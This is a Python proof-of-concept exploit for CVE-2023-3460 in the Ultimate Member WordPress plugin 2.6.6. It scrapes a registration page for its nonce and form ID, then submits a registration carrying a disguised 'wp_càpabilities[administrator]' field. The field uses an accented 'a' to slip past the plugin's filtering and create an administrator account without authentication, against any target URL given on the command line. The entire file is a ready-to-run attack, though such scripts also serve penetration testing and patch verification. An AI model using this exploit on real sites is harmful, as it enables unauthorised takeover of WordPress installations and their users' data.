#!/usr/bin/env python3
# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
# Exploit Author: Gurjot Singh
# CVE: CVE-2023-3460
# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.
import requests
import argparse
import re
import urllib3
from bs4 import BeautifulSoup
import sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_password_strength(password):
"""Checks if password meets complexity requirements."""
if len(password) < 8:
print("[!] Password too short! Must be at least 8 characters.")
print(" Example: Admin@123")
sys.exit(1)
# At least one uppercase, one lowercase, one digit, and one special char
if not re.search(r'[A-Z]', password):
print("[!] Password must contain at least one uppercase letter.")
print(" Example: Admin@123")
sys.exit(1)
if not re.search(r'[a-z]', password):
print("[!] Password must contain at least one lowercase letter.")
print(" Example: Admin@123")
sys.exit(1)
if not re.search(r'\d', password):
print("[!] Password must contain at least one number.")
print(" Example: Admin@123")
sys.exit(1)
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
print("[!] Password must contain at least one special character (!@#$%^&* etc.)")
print(" Example: Admin@123")
sys.exit(1)
def fetch_form_details(session, target_url):
print("[*] Fetching form details from register page...")
try:
res = session.get(target_url, verify=False)
soup = BeautifulSoup(res.text, "html.parser")
nonce_input = soup.find("input", {"name": "_wpnonce"})
nonce = nonce_input["value"] if nonce_input else None
if nonce:
print(f"[+] Found _wpnonce: {nonce}")
else:
print("[-] Could not find _wpnonce")
field_names = {}
for inp in soup.find_all("input"):
if inp.get("name"):
field_names[inp.get("name")] = ""
return nonce, field_names
except Exception as e:
print(f"[!] Error fetching form details: {e}")
return None, {}
def exploit_register(target_url, username, password):
session = requests.Session()
target_url = target_url.rstrip('/')
nonce, fields = fetch_form_details(session, target_url)
if not nonce:
return
form_id = None
for name in fields:
m = re.search(r"user_login-(\d+)", name)
if m:
form_id = m.group(1)
break
if not form_id:
form_id = "7"
print(f"[+] Using form ID: {form_id}")
data = {
f"user_login-{form_id}": username,
f"first_name-{form_id}": "Admin",
f"last_name-{form_id}": username,
f"user_email-{form_id}": f"{username}@example.com",
f"user_password-{form_id}": password,
f"confirm_user_password-{form_id}": password,
"form_id": form_id,
"um_request": "",
"_wpnonce": nonce,
"_wp_http_referer": "/register/",
"wp_càpabilities[administrator]": "1"
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": target_url,
"Origin": target_url.split("/register")[0],
}
cookies = {
"wordpress_test_cookie": "WP Cookie check",
"wp_lang": "en_US"
}
print(f"[*] Sending malicious registration for {username} ...")
try:
response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
else:
print(f"[-] Could not confirm success. Check target manually.")
except Exception as e:
print(f"[!] Error during exploit: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
parser.add_argument("-u", "--user", default="rakesh", help="Username to create")
parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
args = parser.parse_args()
# Check password strength before running
check_password_strength(args.password)
exploit_register(args.target, args.user, args.password)